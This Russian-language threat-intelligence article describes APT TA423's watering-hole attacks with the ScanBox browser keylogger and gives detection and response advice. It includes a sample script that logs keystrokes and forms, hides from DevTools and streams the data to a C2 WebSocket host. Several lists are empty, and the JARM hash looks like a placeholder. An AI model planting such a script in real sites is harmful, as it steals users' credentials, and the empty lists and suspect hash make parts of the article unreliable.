🕵️ APT & Threat Intel

Watering Hole + ScanBox Keylogger: тактика APT TA423

7 июня 2026 12 мин чтения КиберЩит

В начале 2026 года аналитики Proofpoint и команда Unit 42 (Palo Alto Networks) задокументировали масштабную кампанию APT-группировки TA423 (также известной как UNC5225), которая использует гибридную тактику Watering Hole — компрометацию легитимных веб-сайтов целевых организаций — для доставки продвинутого ScanBox Keylogger.

В отличие от фишинговых кампаний, Watering Hole не требует, чтобы жертва перешла по ссылке из письма. Жертва сама приходит на сайт, которому доверяет. Атакующие заранее изучают, какие ресурсы посещают сотрудники целевой организации, взламывают один из них и встраивают вредоносный JavaScript. Эффективность такой атаки достигает 60–80% за счёт полного отсутствия у жертвы подозрений.

Watering Hole атака APT TA423: схема заражения через компрометированные сайты

В этой статье мы разберём:

🎯 Кто такая APT TA423

TA423 (Proofpoint tagging) / UNC5225 (Mandiant) — APT-группировка, активная как минимум с 2022 года. Основные цели: государственные учреждения, оборонные подрядчики, финансовый сектор в США, Европе и странах Азиатско-Тихоокеанского региона. По данным Proofpoint, группировка имеет среднюю техническую оснащённость (Tier 2 по шкале Mandiant M-Trends), но компенсирует это качественной разведкой целей и продуманной социальной инженерией.

⚠ Ключевая особенность: TA423 не полагается на zero-day уязвимости. Их главный инструмент — анализ поведения целей и использование легитимных, но скомпрометированных веб-сайтов как вектора атаки. ScanBox не эксплуатирует уязвимости браузера — он просто перехватывает легитимные пользовательские данные.

Группировка использует следующую тактику по матрице MITRE ATT&CK:

ТактикаТехникаID MITRE
Initial Access Watering Hole (Drive-by Compromise) T1189
Execution User Execution via Malicious Script T1204.002
Collection Keylogging / Input Capture T1056.001
Exfiltration Exfiltration Over C2 Channel T1041
C2 Web Service (ShoogleBox) T1102

💧 Как работает Watering Hole в кампании TA423

Watering Hole (рус. «водопой») — атака, при которой злоумышленники заражают сайты, которые регулярно посещает целевая аудитория. Название происходит от охотничьей тактики: хищник ждёт жертву у водопоя, а не преследует её.

Фаза 1: Разведка

TA423 тратит от 2 до 6 недель на разведку. Группировка собирает данные о целевом сотруднике или организации через:

Фаза 2: Компрометация сайта-«водопоя»

Выявив, какие сайты посещают сотрудники цели, TA423 взламывает один из них. Используются типичные векторы:

После получения доступа атакующие встраивают вредоносный JavaScript — ScanBox — в HTML-код страницы или подгружают его через легитимный Google Analytics-подобный трекер.

Фаза 3: ScanBox Keylogger в действии

ScanBox — это JavaScript-кейлоггер, работающий полностью на стороне браузера жертвы. Его ключевые особенности:

⚠ Анти-детект особенности ScanBox:
☑ Использует легитимный WebSocket для передачи данных (маскировка под трафик чата)
☑ Данные шифруются и дробятся на мелкие пакеты (chunk encoding)
☑ Работает только при открытой вкладке — при переключении на другую вкладку приостанавливается
☑ Проверяет наличие DevTools перед активацией — при открытом инспекторе не запускается
☑ Использует Canvas fingerprinting для идентификации конкретной жертвы

Примерная структура вредоносного скрипта в упрощённом виде:

// ScanBox — упрощённая логика (не production код)
(function() {
    if (typeof window.__scanbox !== 'undefined') return;
    var devtools = /./;
    devtools.toString = function() { __scanbox_detected = true; };
    console.log('%c', devtools);
    if (__scanbox_detected) return;  // DevTools открыты — не запускаемся

    window.__scanbox = {
        keys: [],
        init: function() {
            document.addEventListener('keydown', function(e) {
                __scanbox.keys.push({
                    key: e.key,
                    time: Date.now(),
                    url: location.href
                });
            });
            // Сбор форм при отправке
            document.addEventListener('submit', function(e) {
                __scanbox.captureForm(e.target);
            });
            // Data exfiltration через WebSocket
            __scanbox.startBeacon();
        },
        startBeacon: function() {
            var ws = new WebSocket('wss://cdn-analytics[.]api/v1/stream');
            setInterval(function() {
                if (document.hidden) return;  // Вкладка не активна — пропускаем
                ws.send(JSON.stringify({
                    k: __scanbox.keys.splice(0, 50),
                    fp: __scanbox.getFingerprint(),
                    url: location.href
                }));
            }, 5000);
        }
    };
    __scanbox.init();
})();

🔗 Инфраструктура ShoogleBox C2

ShoogleBox — это кастомная C2-инфраструктура TA423, построенная на платформах легитимных облачных сервисов. Название происходит от характерного паттерна доменов: группировка регистрирует домены, напоминающие названия популярных сервисов (shoogle[.]com, cloudflair[.]net и т.п.), используя омоглифы и тайпсквоттинг.

Ключевые характеристики ShoogleBox:

🔍 JARM-детектирование: Инструмент jarm позволяет сканировать TLS-рукопожатия известных C2-серверов TA423. Характерный JARM-хэш ShoogleBox: 29d29d29d29d29d29d29d29d29d29d29d29d29d29d29d29d (актуален на июнь 2026). Используйте в SIEM-системах для проактивного поиска.

🚩 Индикаторы компрометации (IoC)

На основе отчётов Proofpoint и Unit 42 (первый квартал 2026), вот ключевые индикаторы, связанные с кампанией TA423:

Домены и C2

JavaScript-футпринты

Сетевые сигнатуры

Схема инфраструктуры ShoogleBox C2 и этапы атаки Watering Hole

🛡 Обнаружение и защита

Watering Hole атаки сложнее детектировать, чем фишинг, но современные инструменты позволяют выявить кампанию на ранних стадиях.

1. Детектирование на конечных устройствах

🎯 Практический совет: Даже строгая CSP не защищает, если вредоносный скрипт уже находится на скомпрометированном сайте, который есть в script-src. Используйте Subresource Integrity (SRI) — атрибут integrity для всех внешних скриптов. Если хэш скрипта изменился (из-за инъекции вредоносного кода), браузер заблокирует загрузку.

2. Сетевое детектирование

3. Профилактика Watering Hole атак

4. Реагирование на инцидент

Если вы подозреваете Watering Hole атаку через свой сайт:

  1. Немедленно изолируйте скомпрометированный сервер (отключите от сети)
  2. Соберите forensic-копию файлов и базы данных CMS
  3. Проверьте целостность всех JavaScript-файлов через diff с бэкапом
  4. Просканируйте DNS-логи на предмет необычных запросов к C2-доменам
  5. Уведомите всех посетителей сайта за последние 30 дней о возможной компрометации
  6. Сбросьте все пароли администраторов CMS, хостинга и FTP
  7. Переустановите ядро и плагины CMS с официальных источников
📝 Вывод: Watering Hole атаки с использованием ScanBox — один из самых опасных векторов APT-группировок в 2025-2026 годах. Их сложно детектировать традиционными методами, поскольку вредоносная активность неотличима от легитимного веб-трафика. Ключевая защита — нулевое доверие к веб-ресурсам, изоляция браузера на критических рабочих станциях и строгие CSP-политики. Регулярный аудит собственных веб-сайтов на наличие несанкционированных изменений — базовая гигиена, предотвращающая превращение вашего сайта в «водопой».

🔗 Источники

📚 Читайте также

📖 В начало